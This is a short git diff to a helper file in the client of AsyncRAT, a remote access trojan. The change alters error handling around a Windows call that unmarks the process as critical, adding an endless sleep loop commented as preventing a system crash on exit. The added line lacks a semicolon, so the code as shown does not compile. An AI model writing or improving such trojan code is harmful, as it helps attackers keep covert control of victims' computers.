diff --git a/AsyncRAT-C#/Client/Helper/ProcessCritical.cs b/AsyncRAT-C#/Client/Helper/ProcessCritical.cs index 640af11..e881a65 100644 --- a/AsyncRAT-C#/Client/Helper/ProcessCritical.cs +++ b/AsyncRAT-C#/Client/Helper/ProcessCritical.cs @@ -21,7 +21,13 @@ namespace Client.Helper { RtlSetProcessIsCritical(0, 0, 0); } - catch { } + catch + { + while(true) + { + Thread.Sleep(100000) //prevents a BSOD on exit failure + } + } } #region "Native Methods"